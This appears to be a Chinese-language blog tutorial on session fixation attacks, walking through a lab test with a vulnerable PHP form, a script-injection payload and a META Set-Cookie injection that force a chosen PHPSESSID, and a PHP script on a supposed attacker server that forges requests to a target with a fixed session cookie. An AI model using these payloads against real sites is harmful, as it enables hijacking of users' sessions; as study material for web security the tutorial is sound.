会话固定攻击方式
会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。(让合法用户使用黑客预先设置的sessionID进行登录,从而是Web不再进行生成新的sessionID,从而导致黑客设置的sessionId变成了合法桥梁。)
会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
会话固定.jpg
Web接收sessionID机制:
早期浏览器存贮的sessionID容易暴露、使用URL来传送sessionID
首先检查携带cookie是否含有sessionID;若没有则再检查get、post数据中是否含有,若有则使用此数据;没有才会使系统生成一个sessionID发给客户端。(经测试,get与post都不能设置sessionID【也许是被浏览器限制或者被代码本身禁止了吧,不过没关系,咱还有其他方法进行固定sessionID!】)
重置sessionID方式:
(一)使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie="sessionid=123",这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
测试例子:
html页面(表单),用于跨站脚本攻击
<!DOCTYPE html>
<html>
<head>
<title>乔治大叔</title>
<meta charset="utf-8">
</head>
<body>
<form action="./test2.php" method="post">
name:<input type="text" name="name" id='GeorgeJ'><br/>
age:<input type="text" name="age"><br/>
<input type="submit" name="" value="提交">
</form>
</body>
</html>
<?php
header("content-type:text/html;charset=utf8");
session_start();
if(!isset($_SESSION['count'])) #自增测试
{
$_SESSION['count']=0;
}
else
{
$_SESSION['count']++;
}
echo '$_POST数据:';
echo "<pre>";
print_r($_POST); #不处理数据直接接收
echo "</pre>";
echo '$_SESSION数据:';
echo "<pre>";
print_r($_SESSION);
echo "</pre>";die;
?>
测试:
1、表单中插入数据,并提交。然后不断刷新test2.php
<script type='text/javascript'> document.cookie='PHPSESSID=12345' </script>
2、接着分别查看sessionID以及count数值
$_POST数据:
Array(
...
)
$_SESSION数据:
Array(
[count] => 5
)
image
3、在其他浏览器中,执行相同的步骤1(保证sessionID与之前相同)和2,可以看到count初始值不是0,而是在之前的基础上增加的。
结论:盗取sessionID成功!
使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv='Set-Cookie' content='PHPSESSID=22333'>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。【只要让此行代码在服务器中执行即可入侵】
测试:
只要让此行代码执行即可,(<meta http-equiv='Set-Cookie' content='PHPSESSID=22333'>)即可。我们将它放入表单中然后提交给PHP;接着不断刷新,再换浏览器执行相同步骤。和上面的测试一样!接着查看结果
image使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
测试:(伪造浏览器执行http请求)
1、攻击者控制的服务器(www.George88.com)
2、www.George88.com/George99.php
客户访问这个页面,无形之中就简介访问第三方网站,并绑定一个sessionID;攻击者就可以掌握这个sessionID进行相应的攻击了
<?php
header("content-type:text/html;charset=utf8");
$host='www.linuxtest.com';
$port=80;
$a=fsockopen($host,$port);
//请求行
$request_data="Get /test2.php HTTP/1.1\r\n";
//请求头
$request_data.="Host: www.linuxtest.com\r\n";
$request_data.="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0\r\n";
$request_data.="Connection: keep-alive\r\n";
$request_data.="Cookie: PHPSESSID=99999\r\n"; #设置sessionID
$request_data.="\r\n"; //空行表示头结束
//发送数据
fwrite($a,$request_data);
#用于测试
//接收数据
$inheader=1;
while(!feof($a))
{
//echo fgets($a,1024);
//除去请求头,只显示返回数据
$data=fgets($a,1024);
if($inheader && ($data=="\n" || $data=="\r\n"))
{
$inheader=0;
}
if($inheader==0)
{
echo $data;
}
}
//关闭请求
fclose($a);
?>
2、接着,模拟黑客进行攻击。
在表单中插入数据(<script type='text/javascript'> document.cookie='PHPSESSID=99999' </script>),然后提交,并不断刷新test2.php,并观察count值。【换不换浏览器都可以,本质上讲黑客构造的http访问代码就相当于一个独立的浏览器】
结果显示:count值是不断增加!此时证明攻击成功!
网友评论